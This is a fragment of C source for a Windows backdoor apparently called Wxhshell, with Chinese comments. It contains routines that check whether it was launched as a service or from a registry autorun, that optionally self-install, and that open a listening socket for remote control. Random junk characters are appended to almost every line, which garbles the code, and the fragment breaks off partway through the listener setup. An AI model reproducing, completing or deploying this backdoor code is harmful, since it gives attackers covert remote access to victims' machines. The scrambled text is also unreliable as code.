DWORD AffinityMask; uAK-%Uu?
DWORD BasePriority; 9.#\GI ;
ULONG UniqueProcessId; .IYOtS
ULONG InheritedFromUniqueProcessId; XZZ Ml
} PROCESS_BASIC_INFORMATION; lJ R",_
*2=:(OK
PROCNTQSIP NtQueryInformationProcess; )-2OraUm<
xJ^Gtq Um
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^[\F uSL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ldI;DoE#U1
?Xh=rx_
HANDLE hProcess; ,)S|%tDW
PROCESS_BASIC_INFORMATION pbi; JS!rZi
D-E30b]e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @"'1"$
if(NULL == hInst ) return 0; HWVWl~FA
[M
Z'i/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oxH S7b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nCGLuZn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LPO3B W
WP2|0ib
if (!NtQueryInformationProcess) return 0; ^|>vK,q$I
B=u@u([.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %I&Hx<Hj
if(!hProcess) return 0; NU I|4X
iN<&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3xp%o5K
H2E!A2\m
CloseHandle(hProcess); &]16Hb~
.v/s9'lB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); daGGgSbh
if(hProcess==NULL) return 0; ~bdADVH
;oH%d;H
HMODULE hMod; xzz[!yJjG
char procName[255]; aq oT
unsigned long cbNeeded; 7t0\}e
"
F~uTo
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %kKe"$)0
H}dsd=yO
CloseHandle(hProcess); Hh$x8ADf
6^if%62l&
if(strstr(procName,"services")) return 1; // 以服务启动 f+Pu t
6AUXYbK,
return 0; // 注册表启动 TsfOod
} O5{
>k
O)Nj'Hcu
// 主模块 (SkI9[1\@3
int StartWxhshell(LPSTR lpCmdLine) 4%KNHeaN
{ YaFQy0t%/5
SOCKET wsl; D?)"Z$
BOOL val=TRUE; oz(<e
int port=0; !D7/Ja
struct sockaddr_in door; M9fAv
\T/~"
w
if(wscfg.ws_autoins) Install(); N|h`}*:x=
s~Ni\SF
port=atoi(lpCmdLine); ALiA+k N
/IxMRi=
if(port<=0) port=wscfg.ws_port; A%"mySW
S=0zP36kH:
WSADATA data; dScit!T"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V2u^sy
vAy`8Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V#ZF0a]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i
jg'X#E
door.sin_family = AF_INET; $f7#p4;}(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =SRp
door.sin_port = htons(port); c#<v:b
D`o*OlU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x&8HBF'
closesocket(wsl); %F3M\)jU
return 1; gLaFIeF<+
} g|9'Lk
1Yo9Wf;vP
if(listen(wsl,2) == INVALID_SOCKET) { $*Njvr7
closesocket(wsl); xm6=l".%z
return 1; ^.&